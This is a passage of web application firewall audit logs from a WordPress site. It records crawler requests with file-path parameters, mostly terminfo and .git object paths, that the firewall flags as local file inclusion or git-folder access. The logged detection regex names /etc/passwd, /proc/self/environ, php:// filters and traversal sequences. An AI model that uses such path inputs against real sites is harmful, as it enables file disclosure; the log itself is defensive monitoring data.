WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:44:47.575167 +0100","transaction_id":"abN6H_lFIvnJgHRlHaWclAAAAQc","remote_address":"57.141.20.37","remote_port":46962,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/terminfo/k/konsole-linux HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.37","X-Forwarded-Proto":"https","X-Request-Id":"ae3e3957afff98c5d001ed391beecab6","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2524455"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"ae3e3957afff98c5d001ed391beecab6","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/k/konsole-linux||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":392,"p2":6400,"p3":0,"p4":0,"p5":362,"sr":158,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:44:48.769314 +0100","transaction_id":"abN6IEapybP6n-qLTwttBQAAAYA","remote_address":"57.141.20.9","remote_port":57654,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/59/7b3c807f31528e27cd4cb95bee4b5ba72c0c24 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.9","X-Forwarded-Proto":"https","X-Request-Id":"1f4f0433376599f0612fe32d8556dcbe","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7143909"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"1f4f0433376599f0612fe32d8556dcbe","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/59/7b3c807f31528e27cd4cb95bee4b5ba72c0c24||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":220,"p2":4590,"p3":0,"p4":0,"p5":384,"sr":134,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:44:51.038210 +0100","transaction_id":"abN6IvlFIvnJgHRlHaWcoQAAAQo","remote_address":"114.119.154.203","remote_port":57642,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/68461751 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.154.203","X-Forwarded-Proto":"http","X-Request-Id":"64ed8cb5879a2ce53357f3cefa3e06be","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4326082","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"64ed8cb5879a2ce53357f3cefa3e06be","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":289,"p2":5268,"p3":0,"p4":0,"p5":417,"sr":138,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:44:51.469846 +0100","transaction_id":"abN6I0apybP6n-qLTwttEgAAAZE","remote_address":"57.141.20.51","remote_port":42554,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/terminfo/s/simterm HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.51","X-Forwarded-Proto":"https","X-Request-Id":"0ce32d02e934a68bdd390f0c7c49ab14","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4326085"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"0ce32d02e934a68bdd390f0c7c49ab14","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/s/simterm||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":426,"p2":7760,"p3":0,"p4":0,"p5":424,"sr":137,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:44:58.767719 +0100","transaction_id":"abN6KkapybP6n-qLTwttKAAAAYQ","remote_address":"57.141.20.38","remote_port":57604,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/terminfo/5/5620 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.38","X-Forwarded-Proto":"https","X-Request-Id":"9c0477e6480c81bc41113b182c345cd9","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2524491"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"9c0477e6480c81bc41113b182c345cd9","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/5/5620||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":294,"p2":6045,"p3":0,"p4":0,"p5":317,"sr":161,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:45:00.220677 +0100","transaction_id":"abN6K4dmjjYI1SpvwBAezwAAAAE","remote_address":"57.141.20.49","remote_port":39848,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/htdocs/coopo.jmkconsulting-ci.com/SCAES/.git/objects/c0/413dff033bdedbf87915327fc9257aabba2646 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.49","X-Forwarded-Proto":"https","X-Request-Id":"ae0f877768d35cf9984be354589fda3f","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"557928"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"ae0f877768d35cf9984be354589fda3f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?rename=/htdocs/coopo.jmkconsulting-ci.com/scaes/.git/objects/c0/413dff033bdedbf87915327fc9257aabba2646||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":337,"p2":5469,"p3":0,"p4":0,"p5":389,"sr":172,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:45:01.404356 +0100","transaction_id":"abN6LYdmjjYI1SpvwBAe0QAAAAE","remote_address":"57.141.20.39","remote_port":39848,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/terminfo/a/att505-24 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.39","X-Forwarded-Proto":"https","X-Request-Id":"13eca98834f69d1bf509be26358bbb83","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4686883"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"13eca98834f69d1bf509be26358bbb83","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/a/att505-24||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":287,"p2":6072,"p3":0,"p4":0,"p5":1314,"sr":130,"sw":1,"l":0,"gc":944},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:45:06.428380 +0100","transaction_id":"abN6MflFIvnJgHRlHaWcswAAARE","remote_address":"57.141.20.3","remote_port":47120,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/42/b78221ab3db9964757d3793b7100fb3ac43a68 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.3","X-Forwarded-Proto":"https","X-Request-Id":"76f25bf5fc20214af84f1153fbd68e14","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3932883"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"76f25bf5fc20214af84f1153fbd68e14","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/42/b78221ab3db9964757d3793b7100fb3ac43a68||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":313,"p2":6880,"p3":0,"p4":0,"p5":364,"sr":138,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:49:29.991323 +0100","transaction_id":"abN7OYdmjjYI1SpvwBAgXgAAABU","remote_address":"57.141.20.12","remote_port":49466,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/bc/6c1649f8c6c8d34575991660f79b9db6091ad5 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.12","X-Forwarded-Proto":"https","X-Request-Id":"9760bb14c25756182e2f007c917e9b1d","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3410310"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"9760bb14c25756182e2f007c917e9b1d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/bc/6c1649f8c6c8d34575991660f79b9db6091ad5||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":196,"p2":3784,"p3":0,"p4":0,"p5":308,"sr":110,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:50:46.411454 +0100","transaction_id":"abN7hYdmjjYI1SpvwBAhkwAAABE","remote_address":"114.119.154.67","remote_port":56012,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/28569751 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.154.67","X-Forwarded-Proto":"http","X-Request-Id":"fdbc221e70af9d053425344c143f5df3","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1247560","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"fdbc221e70af9d053425344c143f5df3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":195,"p2":3246,"p3":0,"p4":0,"p5":336,"sr":103,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:53:25.005035 +0100","transaction_id":"abN8JOpA8xvhc8hKmehCjAAAAU4","remote_address":"57.141.20.45","remote_port":49246,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/c5/b811db8820ff74b7b40a89a0659a5d5de46842 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.45","X-Forwarded-Proto":"https","X-Request-Id":"8d8aa7f63f57b2d84b56b1368b506c69","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5013762"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"8d8aa7f63f57b2d84b56b1368b506c69","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/c5/b811db8820ff74b7b40a89a0659a5d5de46842||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":184,"p2":3963,"p3":0,"p4":0,"p5":391,"sr":94,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:54:31.615043 +0100","transaction_id":"abN8Z4dmjjYI1SpvwBAjZwAAAAg","remote_address":"57.141.20.58","remote_port":41854,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/47/6fcbfc28777db2dabfa13e4b8f35a96aee1c3b HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.58","X-Forwarded-Proto":"https","X-Request-Id":"f21084a801ac93e2b76b9799b7920b40","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5146381"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"f21084a801ac93e2b76b9799b7920b40","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/47/6fcbfc28777db2dabfa13e4b8f35a96aee1c3b||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":345,"p2":6557,"p3":0,"p4":0,"p5":829,"sr":175,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:03:56:29.866409 +0100","transaction_id":"abN83UapybP6n-qLTwtz3QAAAYg","remote_address":"57.141.20.47","remote_port":34798,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/a2/566c0038dda7b7023fbaf6adcc7f0891995d2c HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.47","X-Forwarded-Proto":"https","X-Request-Id":"f9cdc70fdfdf9ec4fa3dd3e1fcccfa77","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6980031"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"f9cdc70fdfdf9ec4fa3dd3e1fcccfa77","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/harvest/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/a2/566c0038dda7b7023fbaf6adcc7f0891995d2c||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":654,"p2":19834,"p3":0,"p4":0,"p5":324,"sr":425,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 